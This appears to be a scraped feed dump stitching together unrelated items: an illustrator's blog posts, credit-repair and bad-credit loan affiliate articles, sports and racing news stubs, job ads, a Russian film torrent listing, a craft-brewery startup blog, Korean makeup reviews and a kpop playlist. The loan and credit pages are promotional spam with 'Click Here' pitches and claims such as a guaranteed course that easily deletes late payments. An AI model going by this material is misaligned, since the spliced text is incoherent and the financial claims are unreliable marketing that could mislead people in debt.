Detail of the dog


          The End Of A Book        
The last five weeks have been just hellacious. I've been working 16 hour days on a big new picture book for Random House (I did not write this one), and the art was far more complex and time consuming than I had anticipated. The thing is, you'd never know it by looking at these endpapers I designed for the book, but the fact that they're so different from the art in the spreads, we all agreed this was the way to go. Lollipop trees -- I've always called them that, so it was nice to be able to give them 16" x 10" of real estate to dance on. I love doing books. I just wish I didn't have to wait a year before showing anybody the art. ps: I actually tried posting something to the new, improved and lemon-scneted Drawg a couple weeks ago. Tried 6 times and it never saved my post. I got frustrated and starting cutting up photos of Kroninger with my pinking shears. IF this post works, I'll be a happy Bob!




          A Letter, By George        
It's always nice to receive emails, letters and calls from people who like your work, but every now and then you receive a note that you would have never expected in a million years. Today I received a kind one from George Booth who, needless to say, remains a cartooning God to so many of us -- certainly me included. I grew up as a kid salivating over Booth's cartoons in The New Yorker, so to receive this letter, well, let's just say it's being framed even as you read this. So touched and honored.






          Vanity GREAT (As Opposed To 'Fair')        
I almost hesitate to post these because our buddy Kroninger holds the official Drawger position as 'Vice President in Charge of Posting Images at Least 50 Years Old While Simultaneously Running Down a Hallway Dangerously Holding a Pair of Extra-Sharp Scissors'. I was checking out the Vanity Fair site over the weekend and was paying special attention to the Jazz Age and Depression-Era covers. Now THESE are covers! Covarrubias, Carlu, Aladjalov, Bolin and my personal fave, Paolo Garretto. So graphic, so elegant, so able to communicate an idea visual with an economy of line, shape and effects. So pull up a mouse and check out some absolutely amazing covers by illustrators who continue to inspire, influence and still ASTOUND us well over 50 years later. Oh, and don't mind Kroninger writhing over there in the corner -- it's only a flesh wound. Vintage Vanity Fair Covers




















          Western Union Partners With Liverpool FC        
The Western Union Company and Liverpool FC have announced a multi-year partnership for the global payment and money transfer service company to become an Official Principal Partner and the Official Money Transfer Partner of the famed football (soccer) club. As the “Official Money Transfer Partner,” the company will use its “global cross-border digital transfer and...
          Basketball Legend Joe Dumars Named President of Basketball at ISE        
Per a press release from the company, Independent Sports & Entertainment (ISE) has named Hall of Fame basketball player and former NBA Executive of the Year Joe Dumars as president of ISE Basketball. Dumars brings nearly three decades of NBA experience as a player and front office executive to the agency. As President of ISE...
          Credit Report Monitoring Service - Get Your Free Credit Report And Score And Get Some Peace Of Mind!        
GoFreeCredit.com are a credit report monitoring service. You can obtain FREE access to your credit report and even your credit score. You are are able to request a free copy of your credit report once a year from each of 3 credit reference agencies - Equifax, Experian and TrasUnion. However, getting your credit score is not as easy!

GoFreeCredit.com allow you sign up for a membership which includes the professional monitoring of your credit file and reports. You can sign up to receive automatic e-mails and text alerts should there be any activity whatsoever on your credit file. Perhaps an existing lender may have carried a credit search on you to see if you are eligible for a new mortgage or loan product. However, were you aware that excessive activity on your credit file can be detrimental to your credit score?


Did you know that identy theft costs millions of people and financial institutions billions of dollars every year! By having an efficient credit report monitoring service in place, you can detect the signs of identity theft early. Most people are blissfully unaware that someone may have stolen their social security number and their identity. Many thieves set about opening accounts either to launder money or borrow against your good name. This can take months or even years to notice and can ruin your good name and cost you plenty of money as well. NOT if you have access to a credit report monitoring service.

GoFreeCredit.com offer a free trial period for you to test their credit report monitoring service. Once you order your free credit report you will automatically be enrolled into your free trial of credit monitoring. You will then receive automatic notifications of any changes made to your credit report. Should you wish to continue using the credit report monitorng service once your trial period has ended you will be billed $14.95 a month. However, there is absolutely no obligation to continue using the service after your free trial period has finished - You can cancel your membership at any time.

Click Here To See Your Free Credit Report And Credit Score
          Facing Foreclosure? Then You Need to Get on Board With Obama's Mortgage Loan Modification Today        
Believe it or not, you actually hold the upper hand when it comes to Mortgage Loan Modification in this situation. Your lender will have to pay a very high price to foreclose on your home. Added to this, is the mounting pressure from other companies and organizations for your lender to be more lenient with you in these hard times.

Think of all the memories your home holds for you. Do you recall the lazy days lying around or watching the children play. Maybe you have experienced countless emotions. Whether you have been happy, sad or angry, your home is something that you don't want to lose!

Your lender is not in the business of selling homes. The additional costs and fees associated with foreclosure will leave your mortgage provider looking for other suitable solutions.

With a Mortgage Loan Modification plan, you can reduce your payments for a period of 5 years to something far more affordable. The government can even reduce your mortgage principle in that time. This is a win-win situation for both parties. You get to keep your home, lower your repayments and have your mortgage balance reduced. Your lender doesn't have to go through the effort of trying to foreclose and sell your home and still receives some form of payment from you.

However, with a solution, there is usually always another problem right around the corner. Many people in your circumstances, resort to contacting attorneys, companies and specialists in mortgage foreclosure and loan modification. The fees that you can expect to pay can be astronomical and maybe even push you into further debt.

Some Loan Modification Companies have been reported to charge anywhere between $1500 - $5000 to perform this service. So this, of course, has led the way for certain individuals to fight back and complete the Mortgage Loan Modification process on their own.

If you need a step-by-step system and don't have up to $5000 to spend on Mortgage Loan Modification fees and charges then Click Here to see what other people who have "done it themselves" have to say.
          Is Getting A Loan With Bad Credit Really That Hard?        
Have you ever wondered why lenders seem to treat people with a bad credit history so badly? If you have bad credit and apply for a loan, you know, generally you're going to be declined or charged some extortionate rate of interest.

You simply want any potential lender to recognise that you haven't always had a bad credit history. You probably had a decent credit rating once, then, unfortunately some unforseen circumstance or an inevitable event forced you into having your credit record damaged.

However, what guarantee does a lender have that someone who has a perfect credit rating now, may not default on that loan at some time in the future. Circumstances change, things happen and nothing can be 100% guaranteed. It seems as though you are still being punished for what happened in the past.

Lenders have now started to notice, with the rising number of people falling in debt and bad credit, it no longer makes sense not to conduct business with everyone, good credit, bad credit or otherwise. Many specialized loans, credit cards and products have spread through the financial marketplace. You can now get a bad credit loan for a wide variety of purposes. Car Loans, Holiday Loans, Debt Consolidation loans.

A lender may ask for you to put up some form of collateral or asset as security against your loan. This can work well for both parties. A lender has some form assurance by way of an asset, usually your home...and as the borrower who has a bad credit history, in can be a case of once bitten, twice shy. You have been through the hell of bad credit, and all it brings, once. So why would you wish to lose an asset such as your home by making the same mistakes again.

Getting a Loan with bad credit without having to provide any collateral is possible as well. Usually an unsecured loan is only ever offered to people with a great credit rating. Some lenders may accept a borrower with a bad credit history, but you can usually expect to pay a higher rate of interest and sometimes you may be asked to pay a high fee and have to adhere to some near impossible terms of repayment.

Despite that, don't worry, there are lenders out there who will charge a reasonable rate of interest to those wih bad credit. Prior to approaching a lender or even an intermediary company for help, there are a few things you need to consider - You must decide exactly how much you need to borrow. Then the exact dispersal of your loan. Maybe, some of your loan is to consolidate some other debts, while some is to pay some bills and some is merely for pleasure. Then you need to work out an affordable budget and timescale to repay the loan. You don't want to fall into the same trap again of missing payments and eventually defaulting on a loan.

Once you have calculated all this, then you can approach a lender to find out if they can offer a loan that fits within your criteria. Finally, if you have managed to secure that all important loan, this will do wonders for your credit rating. By making your payments in full and on time, this will help to repair that bad credit history.
          Debt Consolidation Loans For Bad Credit To Delay The Further Worsening Of Credit        
The importance of debt consolidation loans can be best understood by people who are suffering with bad credit history. Debt consolidation loans for people with bad credit provides a manner in which they can prevent their financial condition and credit status from further deteriorating.

A debt consolidation loan replaces several small and big debts that a particular person might have incurred. Under this arrangement, a single loan is used to repay all debts of the borrower. Since the loan taken at this instance is not immediately repayable, borrowers get enough time to prepare for repayment.

Borrowers are referred to as bad credit when they have defaulted on debts in the past. Mortgage arrears, County Court Judgements, Individual Voluntary Arrangements, all count towards tarnishing the borrowers’ credit history. Credit history of borrowers is referred to in order to get data about the credibility that a borrower enjoys. A bad credit history would thus imply that the borrower has lesser credibility and thus make him a bad case for debt consolidation loans.

This however is not so. Borrowers with bad credit history are also considered for debt consolidation loans. The logic behind this is that by taking debt consolidation loan, the borrower with bad credit history is making positive efforts to change his/ her credit status. Thus, debt consolidation loan is readily available to people with bad credit history.

A slightly higher interest payment is what you are required to make on the debt consolidation loan if you have a bad credit history. You however need to distinguish between lenders who are charging the justifiable rates of interest and those who aren’t. The task is not as difficult. Just see what other lenders are offering to borrowers with similar circumstances. If that is not enough, you can request a select group of lenders to send their debt consolidation loan quote. The quote provides information about the rate of interest that will be charged, the period for which the loan will be offered and other important terms on which the loan will be granted. It is certain that on comparison, a few quotes will be rejected and some will be selected for further screening through several processes.

Once a debt consolidation loan provider is selected, the process of eliminating debts is initiated. The first step in any debt settlement process will be to make a list of the debts. The list must be as exhaustive as possible so that all debts are included.

The list of debts with the persons to whom each debt is due and the interest rate that each carries will be supplied to the loan provider. Debt consolidation loans have a special feature that borrowers are guided in the debt settlement process. The guiding principle of every debt settlement process is to save maximum for the debtor. Only through a proper negotiation can creditors be forced to write off a particular debt or a part of it. Borrowers do not have the necessary time and skills to make this happen. Thus, the service of the debt consolidation loan provider becomes necessary.

Debt consolidation loans come in either of the two forms, i.e. secured and unsecured loans. A secured debt consolidation loan is one in which the repayment is backed by a collateral. An unsecured debt consolidation loan, on the other hand, has no direct stake on any asset. There are subtle differences in the rates of interest and other terms that make secured debt consolidation loans more preferred in spite of the risk on assets.
          How to Finance Your Car With Bad Credit        
Have you been searching for somewhere to finance your car with bad credit? In this day and age everyone either needs, wants or has a car. Gone are the days when a car was considered a luxury item. A car is definitely a necessity for most. However, due to your poor credit history, no lender is willing to help. You have even approached your own bank and they have shut the door firmly in your face.

This is when your search to finance your car begins. Although there is a vast array of lenders available, you need to be very careful. I'm sure you have heard many horror stories of people borrowing money and then being held to ransom by the lender. Once they have gone through the reams of small print, they discover that they will need to pay back up to 10 times the amount they borrowed. This, unfortunately, leads to further debt., which in turn can worsen your credit rating and eventually lead to bankruptcy!

Fortunately, this is where certain companies and organizations have evolved to help you. They are intermediary organizations, who will do all the leg work for you. They understand having bad credit can be a difficult time and will provide you with everything you have been looking for. They can show you how to finance your car, even with bad credit. Usually these companies have a huge list of lenders on their books, who are willing to help people in your situation. They can also provide online support and even have access to many unknown government resources. You will usually have to pay a very small one-time fee to get access to this information and remember i said very small!

You can still Finance your Car With Bad Credit, but you will just need to be wary. This is why i believe these intermediary companies are actually a blessing in disguise. The majority of lenders on their books can give you that auto loan online, at a price you can afford. In most cases your auto loan can be agreed and set up within a matter of days.

If you urgently need to Finance Your Car With Bad Credit, then it is time you visited one of these intermediary companies. Click Here to find out exactly what others in your situation are doing and secure that car loan today.
          Who Else Wants To Know How To Raise Their Credit Score?        


Click Here To Get Access To Your FREE REPORT

Or Read On And Collect Your Free Report At The End Of This Article

Have you ever asked yourself, "How Do I Raise My Credit Score?" Over the years you may have racked up numerous debts. These may include, loans, credit cards and mortgages. As your debts increase through constant interest charges, things seem to get a little harder month after month. Perhaps, you have been unfortunate enough to miss some payments. This, regrettably, has the knock-on effect of additional late-payment charges and will eventually ruin your credit score.

The problem is, once you hit the rocky road of having a bad or low credit score, creditors or lenders will look at you with disdain. Gone are the days of being instantly approved for any form of credit. You are now looked upon as a high risk and no-one seems willing to help you.

This is pretty much what happened to me. I had a fairly decent job and that had helped me to secure various forms of credit. It was never a worry to me then, as i always had enough money coming in to cover at least the minimum payments, if not more. However, eventually mounting interest charges or the end of a 0% credit card deal, started to have an adverse effect on me being able to continue making full and regular payments. I had even got to the stage of using one credit card to make a payment on another credit card. So even though i was making some form of monthly payment, i was increasing my debt at the same time. Not Good! This, ultimately ruined my credit score and brought it to an all time low.

I then started searching for professional credit repair agencies. I soon discovered that many of these agencies make substantial claims to improve and raise your credit score. However, the majority charge a King's ransom for the privilege and they don't seem to deliver on their promises.

This is when i came across Chris Brisson's "37 days to clean credit" course. Chris had been in the same boat as many of us before him. As a college student he had built up a total of $14,000 in student loans and credit card debt. He had a small amount of income coming in and started to miss payments. Chris had managed to get his credit score down to a horrid 520! Once again, like so many of his predecessors, Chris scoured every possible resource to improve his credit score. He eventually admitted he got scammed by these so called "professional" credit reference agencies. This is when Chris decided to do something himself about it.

Chris had made a few discoveries along the way. He then went about legally "stealing" some of top secret methods that credit reference agencies use to remove negative items, inquiries, judgements and bankruptcies. After 37 days, Chris had managed to delete 9 inquiries, 5 late-pays, 4 default accounts and 1 judgement. In the process, Chris boosted his score by 135 points to a respectable 655.

So what exactly does Chris reveal in his Course:-

- How to easily delete 30, 60, 90, 120 or 150 day late-pays from your file

- How to easily set up a budgeting system to track income, expenses and all your payments

- A little known secret technique to getting your credit card APR interest dropped to 0%

- How to stop the harassing collections telephone calls

- How to repair bad credit in less than 30 days

- How to boost your credit score by 50 points even if you have the worst credit in the world.

- How to stop foreclosure and then negotiate with your bank to lower your monthly payment by 10% - 20%

These are just a few of the methods that Chris will go through. There are just far too many helpful little techniques to mention here.

One of my favourite systems i learned from Chris, was how to reduce the interest rate of my current credit card. It was as simple as making a phone call. Mention that you have in front of you a competitors details and that they are offering a 0% deal for six months, which will then turn into a 8% rate. Chris advises to always be polite and state that you will be looking to balance transfer unless they can lower your interest rate. In most cases, the operator will speak to a supervisor, who has the ability to drop your interest rate. To threaten to leave (in a nice way) is the key! So simple, but effective.

Another invaluable source contained within this course, is the copy and paste letters. Chris has structured a number of letters to be sent to creditors depending on what form of credit repair you are looking to achieve. The letters are organized in such a way, that you simply need to insert your own personal details in the blank spaces.

In addition to the course, Chris offers an unbelievable 5 free bonuses. They would usually retail at a value of $757, but are yours for free, once you sign up to Chris's course. I absolutely loved world renowned credit card expert, Scott Bilker's Interest Annihilation Method. This is one of your free bonuses. Scott unveils how to get approved for 0% APR credit cards. Scott also discusses the secret language indicators to use when you speak to your creditors. (yes, it's all down to the actual words you use!) and his 3 step debt elimination strategy system.

So if you have finally had enough of the way that lenders treat you, it's time to do something about it! Chris Brisson has come up with a guaranteed program to help you get the credit rating you have always wanted. So let me just quickly run through what you will get, once you have signed up to Chris Course:-

- The complete "37 days To clean Credit Course"

- The Interest Annihilation Method Audio with Scott Bilker

- The Credit Millionaire System with Donna Fox

- Credit Repair Mystery with Brett Bruce

- 45 "Copy & Paste" proven Credit Repair letters

- Super Budgeting Video Walk through

Don't forget to grab your Free Report on the 6 Deadly Credit Repair Myths as well.

Click Here to get started on raising your Credit Score today.

          The Secret Behind How To Buy A House With Bad Credit        
Let me guess, the question "How To Buy A House With Bad Credit?" has been playing on your mind for a long time now.

It seems every one around you is getting on the mortgage ladder and leaving you behind. You know being able to put a deposit down and being able to afford the monthly mortgage repayments is well within your financial capabilities, but unfortunately no mortgage lender will even look twice at you because of your credit history.

Well actually lets face facts, that's not strictly true. You do have the occasional lender who contacts you and is more than willing to lend you the money that you need. However, let me guess, they want to charge you an extortionate rate of interest and the monthly repayments are unbelievable. So what do you do?

It now appears that there are many intermediary companies with mortgage lenders on their books who are willing to help you in your quest. These companies will normally charge you a very small one-time fee..and i mean small! Once you are on their books, they will provide you with online and telephone support and a huge database of mortgage lenders willing to help you in your plight and show you how to a buy a house with bad credit.

The great thing about this is the mortgage lenders will look to secure a home loan for you and it won't cost the earth. Once you have that all important mortgage in place and are committed to making your monthly repayments, this in turn will help to repair your credit rating, thus meaning a wider range of creditors will be available to you in the future.

How about if you need to Refinance Your Home With Bad Credit? Is that any different as you already own your own home?
          Ocon will get GP practice outings        
Esteban Ocon will drive in some Formula 1 grand prix practice sessions for Renault this season as part of his role as reserve driver, Autosport has learned
          Pirelli expects Melbourne tyre variety        
Pirelli is fully expecting to see a variation in tyre choice from the Formula 1 teams for the season-opening Australian Grand Prix as the new rules make their debut
          Information Security/Information Assurance Analyst        
MD-Bethesda, TS/SCI w/CI poly Duties: · Provide expert information systems advice and serve as an information security subject matter expert to the IT enterprise management community stakeholders · Provide information systems security solutions to support the management of the community Databases Program by continuously monitoring, assessing, and analyzing database performance to assure data integrity and to s
          NetApp Administrator (Cleared) 2017-019        
TX-San Antonio, Program Overview: US Army North is the Army Service Component Command (ASCC) to US Northern Command (NORTHCOM), and must be capable to stand up and deploy multiple task forces in the event of natural or man-made disasters. The Army North Information Technology Directorate, known as the “G-6,” provides Help Desk/Service Desk, Network Operations Center (NOC), technical management services, and Infor
          Business Process Consultant        
FL-Tallahassee, Please note that this is a contract position scheduled to start in 08/2017 and end in 06/2018. Scope of Services The selected candidate will be assigned initially to analyzing and documenting the critical business functions, supporting business processes and testing and executing desk procedures in the Office of Work Program and Budget (OWPB). Primary duties will relate to analyzing financial syst
          Field Service Technician - ABE        
PA-Allentown, Job Description Field service technicians are vital members of the ABE team. Technicians provide fast and effective service for our customers for Toshiba and Lexmark. They are responsible for the repair and maintenance of digital multifunction machines at the customer's location. A good work ethic and troubleshooting skills are key to this position where you are held accountable to the highest sta
          Data Science Campus outlines plans for Fall        
The Office for National Statistics (ONS) Data Science Campus has been set up to act as a hub for the whole of government to gain practical advantage ...
          Meet Our New Text Analytics Solution Powered by Artificial Intelligence (AI)        
An intro to AI Text Analytics, which uses artificial intelligence (AI) and natural language processing to better understand the voice of your customers ...
          Business in Buffalo        

Allot was accomplished while back in Buffalo over break. Some of it was already mentioned on facebook but this is where I can do some less official ranting.

So what I want to talk about is doing business in Buffalo. I’m sure allot of people have heard horror stories about working with in the city limits. I know for years people don’t me, don’t even bother if you’re not in the old boys club you can’t get anywhere in the city.  My experience was completely the opposite.

We had narrowed our search into the Black Rock area. I think it’s really an area on the up and up. The people there are really passionate about the neighborhood and eager for business to come back. The success of the black rock bar and kitchen and delish are sort of the test beds. As Chippewa seems to be  kicking out the college crowd there is going to need to be somewhere for all those older college students to go. I’m not saying Black Rock should open clubs and go crazy, just that older crowd is going to be looking for somewhere new to go and that could be black rock without a problem. Elmwood can be a bit ‘high end’ and Buff State is right across the river. Honestly Amherst is going to be where it’s at.

I’ve had the pleasure to bounce around the country for the last couple of years. My position in the Air Force requires allot of traveling form base to base, and I’ve found the same formula in all the ‘up and coming’ urban places is the same.

Provide a service or good that’s 100% better at 50% more cost. It’s what Craft Beer is all about, but it’s also what the whole urban movement seems to be able.  When I visit other cities and find something I think  could be a knock-out in Buffalo I write it down or grab a menu. Sadly for all the great ideas there is only so much money, but the formal is the same.

Chef’s in Manhattan KS is one of the business restaurants I’ve ever been in. It costs about 50% more then Denny’s but when you get Salmon Eggs Benedict, the $5 extra over a grand slam seems like nothing. I’m not saying I’ve stumbled upon the Holy  Grail or anything. I’m just finding that it seems to be true across the whole of the United States. It might the ‘Europeanization’ of America.  That’s a different topic so I’ll get back to Buffalo.

Where I wanted to get was armed with this formal and some really impressive growth numbers from Craft Beer the Councilmen Joe Golombek was willing to sit down for almost 2 hours with us, from that we got an audience with the City Office of Strategic Planning, Department of Labor, Tonawanda BOA, NYSBDC, SBA, ECIDC, NYSIDC. I’m missing once person from that list so I apologize. Point being they we’re great to sit down with, tell them what we want to do, and offer some suggestions on how to go about it. I didn’t run into some brick wall or have to cow tow to anyone to get this. I grew up 25 miles outside of the city, I went to School in Rochester. While Buffalo is my city, its not like I have a network. No Doubt I’m developing one, and the other companies we work with have been paramount to that.

Allot of reasons and things like the $1,000,000,000 that state is talking about I honestly don’t think is going to have nearly the effect it could have if it was $1 thousand million dollar grants or 10,000 $100,000 grants. The things about doing business in NYS being hard then other states.  That’s absolutely true, the taxes are terrible, the bureaucracy is enormous, and the law suits plentiful. Despite all that Government workers are really trying to work around it and with it to get Buffalo back on top.

Point being is Buffalo wants to grow, and the real growth is going to be by small business making an investment in the city, living here working here making that lifelong commitment to the area. There isn’t going to be a hand out from the government to get you started. It’s going to be with the help of people in Buffalo and on your own labors. I encourage anyone who’s thinking about starting to do
          Merry Christmas!        
I’ve been busy on all fronts the last month and have no posted here as I would have liked to. I really need to take a page out of CBWs book and do a stern 1 week update. It’s never that there isn’t anything to talk about. More an issue of, should some of it be spoken about in a public form. 

We’re trying to get a deal together on a building in Black Rock and the support from the community has been tremendous. I really can’t say how great they have been to work with and we’re only pitching some ideas right now. The actually negotiations on the building have not been progressing as I’ve like. Hopefully I’ll have better news on that front by the 6th of Jan. If not I’ll like be forced to put everything on ice until I get back.

Speaking of getting back, I’m leaving for a bit. The USAF finally have dates ‘set in stone’ for deploying to Afghanistan. They’ve told me that these ones are for sure so I will be out of the country for 10 of 12 months in 2012. Longer then original expected but it will help buffer some of the startup costs, and I should get allot less smack talk from the Army. (a value in its self). This will delay the start up by 9 months, why so much more? Winter, its allot harder to move equipment in, doing concrete work in the middle of winter makes things harder than it should be; so we’ll wait for spring of 2013. Not what I want to do but what is necessary to do. 

This week I also brought Dana Saylor of oldtimeroots.com to do some research. She has a pretty cool site and its interesting work. I haven’t seen the finished product so I can’t vouch for her as of yet, but I feel pretty good about it so far. 

Lastly I promised more book reviews. I read a handful on my last few trips across the country. Just for a quick notes on them I’ll say if I liked them or not.

Great American Ale Trail: Its just a list of bars and a couple of lines about them. It’s sort of a good reference and The Blue Monk in Buffalo was in the notable mentions section for NY. If you’re thinking about opening a beer bar up I would say it’s pretty good. Other than that I don’t know anyone with the time or money to visit 1000+ beer bars in the country. Once we get New Buffalo Brewing, I’ll have my beer books on site so if someone wanted to stop in and check for a place feel free.

The Story of the Irish Pub: The begging with a history of the licensed trade was good, so about 70 pages of the book are good, the remaining 150, not worth it. Just little notes of where a bar is and who owns it. Over all very disappointing. If your going to Ireland it might be fun to stop  into one, but that’s about it.

In the Classic Beer Style Series, I picked up and read, Porter, Brown Ale and Stout. This series has been pretty fun to read, and for a serious home brewer I’d recommend them They all are set up with a little history, some water information, a few home brew recipes and a list of examples that are current for the time it was published (the early ones are over 12 years old). This book are really great for someone looking to starting a microbrewer, to see how far the brewing world has come in a decade. Also as an American, to see how we have consistently tossed out style guild lines and made so many great new beers. 

Porter was a really weak read, maybe if I hadn’t already read the mild book it wouldn’t have seemed poor.

Brown Ale was very good, tons of information on the different sub sets of Brown Ale and good information all around. So many beers in this style and information about most of them.

Stout has been the best read so far, The writer has a clear passion for stouts and has offered an immense amount of information on it, the different sub-styles and many references to Guinness. I’d recommend this the most of any of them so far. I will put out the disclaimer that I too love stouts. If there is just one style of beer I could have it’s a thick cream stout.

This should have been spread out to a couple of updates, but with the holidays I don’t know if I will get around to many in the next two weeks. Also one last pitch for buying our sweet gear for someone over Christmas! 

http://www.kegworks.com/search/search.php?keywords=new+buffalo+brewing&x=0&y=0

          Happy Thanksgiving!        

Happy Thanksgiving Everyone! Since Marie is so nice as to be cooking and we're in Colombia so I can't TV I can post!

It’s been a while since I posted on this blog. Google tells me one person reads this every couple of days, so  mystery person, I apologize for the lack of updates.  I’ve finished another book in the Classic Beer Style Series, this time on Porter, and by the time I get home I’ll have finished Brown Ale as well. They we’re both pretty good and a bit more fluid then the Mild Ale book. All and all pretty good. Since I’ve been following all English Beer there is allot of overlay in each one, however each adds a bit more information to the history of brewing in England, old ingredients and of course inspiration for an American Interpretation.  I might write a mini-review on them when I get back home.

I’m going to give a reason for the lack of posts, one good and one not as impressive. The not so impressive one is I have been swamped at work. With the 1st Infantry Division getting ready to deploy (along with myself) I’ve been working allot more then the past. It’s almost a second job getting ready to deploy while still doing garrison work.

Now the good reason. I’ve found a building I would like to purchase for the brewery. It’s another historic property that is in need of great deal of work. I like preservation and would be very happy to incorporate those goals into a broader vision of New Buffalo.

The name isn’t just because I’m lazy and didn’t want to think hard. Buffalo is becoming a New Buffalo. When I was younger Buffalo was seen as a no-go zone, with lots of drug issues and violence. That is changing for allot of people, and I want to be part of the effort of rebuilding the city. Physical rebuilding would be an easy way to get that connection.

At the end of the day it is about what we can afford so we’ll see if it pans outs. Thanks for reading.

          Pumpkin Swirl Cheesecake Bars        

Pumpkin swirl cheesecake bars combine everything you love about cheesecake and pumpkin pie in one easy bar! Made with layers of swirled cheesecake batter and a homemade pumpkin spice mix, say hello to your new go-to holiday dessert! Continue reading

The post Pumpkin Swirl Cheesecake Bars appeared first on Pots and Pans.


          Ð§ÐµÑ€Ñ€Ð¸ / About Cherry (2012) BDRemux 1080p | L1        

Категория: Фильмы/HDTV/HD/Blu-Ray/MKV
Размер: 17.56 GB
Траффик: Раздают (отдают): 9,886, Скачивают (качают): 3,172
Добавлен: 2017-08-10 13:45:08
Описание: Информация о фильме
Название: Черри
Оригинальное название: About Cherry
Год выхода: 2012
Жанр: драма

Режиссер: Стивен Эллиот
В ролях: Эшли Хиншоу, Лили Тейлор, Дев Патель, Джонни Уэстон, Джеймс Франко, Хизер Грэм, Дайан Фарр, Майя Рэйнс, Винсент Пало, Элана Крауш

О фильме:
История 18-летний девушки начинающей работать в порнографическом бизнесе после того, как она переезжает в Сан-Франциско. Первое о чем ей предстоит позаботиться – какой-нибудь заработок. Новый город – новые друзья, новая судьба и пьянящая возможность легко и весело заработать, снимаясь у профессионалов. Сначала фото, потом видео - можно показать себя, пускай и полностью, без цензуры. Для раскованной симпатичной девчонки это легко.

http://s.rutor.info/imdb/pic/1945062.gif http://www.kinopoisk.ru/rating/592037.gif

Страна: США
Студия: Enderby Entertainment, Gordon Bijelonic / Datari Turner Films
Продолжительность: 01:42:11
Перевод: Любительский одноголосный, закадровый [Kerob]

Файл
Кодек: h.264
Качество: BDRemux
Видео: 1920x1080, 24598 Kbps, 23.98 fps
Звук:
AC3, 48 KHz, 6 ch ~ 448 Kb/s (русский);
DTS, 48 KHz, 6 ch ~ 1510 Kb/s (английский).
Субтитры:
Английские (полные), PGS;
Испанские (полные), PGS;
Русские (полные), SRT;
Русские (форсированные), SRT.

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          Sejda offre 30 strumenti online per fare di tutto con i PDF e un software per Windows, Mac e Linux        
Sejda è una suite che offre 30 strumenti online per fare di tutto con i PDF e un software per Windows, Mac e Linux. Le funzioni principali sono: split, merge, office & PDF, edit & sign, compress & convert. Vale a dire dividere, unire, ufficio e PDF, modificare e firmare, comprimere e convertire in altri formati. Vediamo […]
          Review: Skin Food Choco Eyebrow Powder Cake        

Hello everyone. Today is Chinese New Year Eve in Singapore. Since I do not celebrate this holiday, I have some time off to do this third installment of my Althea purchase. I my first and second post can be found here and here. Before I start on my review, I would like to wish all my Chinese readers, Gong Xi Fa Cai!

I fixed my eyebrows recently at Benefit Brow Bar and the person who did my brow fill in the unevenness in my brows. I have a fairly thick and darks brows, however they are not even. So some parts of it are a little bare/bald. I have tried using eyebrow pencil and find it looking rather unnatural. Maybe because I rarely makeup and hence not really good at it. Then I tried using the colored eye brow gel from The Faceshop (review here). It is difficult to use and the color doesn't blend in with my brows.

So I was looking through Althea and wondering if they have those powder for brows (you know like the ones people use for eye shadows). Then I saw Skin Food Choco Eyebrow Powder Cake selling for only SGD$5. It was so cheap that I didn't think twice before putting it into my cart! So below is a photo on how the product actually look like. It didn't come in any dancing looking box. But it doesn't really matter to me as long as the product it not damage.

First look of Skin Food Choco Eyebrow Powder Cake

So you have choice of Grey Khaki Black or Grey Brown. I choose Grey Brown because I simply cannot imagine having khaki colored brows (I fit with warm colors better). The photos of the colors can be found below. I think you can tell which is the brown and which is the grey one. According to the website, the product contains real chocolate inside. I can't really verify it by taste (yucks) but the powder does really smell like chocolate, which is kinda of cute.

From left to right: Brown powder and grey powder
Below is a photo of the brush that came with the palette. I slightly swabbed the brush on the gray palette. As you can see the powder cake is not as pigmented as those eye shadow palettes. This lightness of the pigments can also be seen the following photo where I brushed some of the brow powder cake on hand. The top one is the brown powder cake and the bottom one is the grey powder cake.

The brush which comes with palette
From top to bottom: Brown powder cake and grey powder cake
I mixed both colors when I apply on my brown. I put the brown powder first and then layer it with grey powder. Don't underestimate the light pigment of the powder cake, a little powder goes a long way for your brows. Below you can see the before and after photo of my brows (I did not kid you when I said that my brows have some baldy areas)

Before applying Skin Food Choco Eyebrow Powder Cake
After applying Skin Food Choco Eyebrow Powder Cake
So what do I think about Skin Food Choco Eyebrow Powder Cake? Haha from the photo above, I think it works! The best of all it is extremely easy to use. The price is also a plus point. I think loose pigments of the powder also makes the eyebrows more natural looking after application.

I give this product 5/5.

Feel free to leave a comment if you have any question!

          Upcoming Review: Skincare products from Althea        
Look what arrived at my doorstep today! My althea orders!

I needed a new face wash and an eye cream. I choose laneige as the brand of choice since it is the most reliable brand for my skin. So I bought Laneige Multi-cleanser and Laneige Water Bank Eye Gel. Bought it on 11 November because of the additional 11% off because of the singles day :). The item arrived on the 18 November, so it took approximately 7 days to arrive. The order includes a tracking number but the tracking stops once it reaches the distribution centre in singapore (singpost).

Anyway my items were nicely bubble wrap. Here is a picture of the parcel when it arrive. Althea was also generous enough to include samples in the parcel. One of it is a facial mask from Missha and another is skin repair essence.

Nicely bubble wrapped althea box



The items were individually wrapped too


I really like althea's packaging. You can look forward to my reviews of these products soon. Stay tuned!

          Side talk: Not your regular kpop songs        
When we talk about kpop, we often relate it to Girls Generation (SNSD), Super Junior (Suju), Big Bang, 2NE1, AOA, EXO and many more.

I have been into kpop for 10 years already and I have listened to various genre of music in the kpop industry. I believe some songs deserve more recognition. For this post I hope to be able to share or introduce fantastic songs that could spice up your playlist.

Lets start with one of my favourite album of all time:

Blue Brand is a hip-hop album project that compiled various hip-hop songs from by hip hop legends. Verbal Jint, Dynamic Duo, Supreme Team, Dok2, K.Will, and many more. The song lineup is simply fantastic. There are two volume to this album. The first volume was released in 2009 while volume two release in 2010. Below are some great songs you can find in the two volumes!

Kim Jin Pyo (feat Jan Di) - How to be cool when you breakup

Supreme Team (feat Soulman) - You're to blam

Supreme Team (feat Soulman) - Because of you

Supreme Team is a hip hop duo name Simon D. and E-Sans. Unfortunately, the group disbanded recently as E-Sans terminated his contract with Amoeba Culture. Also, E-sans is involved with a marijuana scandal. I really like their songs and they are pretty nice to listen to despite the long rapping. 

Here is another of my favourite song from one of Supreme Team album.

Supreme Team (feat Young Jun) - Then Then Then

Another artist you should check out it TETE (테테). His music is very relaxing and definitely worth listening during the nights and ranning days. I really like Floral ran by TETE especially the remix version. The remix version is an eargasm. Do change

테테 (TETE) - Floral Rain


Tete (테테) - Floral Rain (Acid Punk Dynamite Remix)

Lastly, I would like to introduce all of you to Standing Egg. Its a well known k-indie group but some of you may not be familiar with them. Nonetheless, do check out Farewell For You, Not Yet For Me by Standing Egg.


Standing Egg - Farewell For You, Not Yet For Me

Thats the end of this week side talk. What do all think of the songs I have recommended? Do leave your comments!





          Side-talk: The Ramen Stall at 787 North Bridge Road        
